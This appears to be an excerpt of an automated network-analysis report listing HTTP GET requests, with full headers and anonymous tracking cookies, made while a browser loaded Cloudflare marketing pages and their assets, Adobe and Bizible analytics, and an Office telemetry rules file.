Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2TfcZ86qvZor2xtI2z4Vvr/ef54112582296119f4296869c34ba025/logo_23andme_color_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1AsuJijKk8EMH5s1ae56nx/b13406881aa864b7e17b2233a0d090ef/logo_labcorp_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|ba
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p/insights/c/u; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/19LKSWt3iDJ0SxqNrv3ZMN/b37231a3e6fb1bda5f182e7abecff5ee/cplogo_BW.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p/insigh
Source: global traffic	HTTP traffic detected: GET /page-data/plans/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%252
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=9ce67245-48d0-4c9d-85cd-0794e618a0e2 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729094235099&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=2&rnd=230015&cdn_o=a&_biz_z=1729094235101 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.co
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; 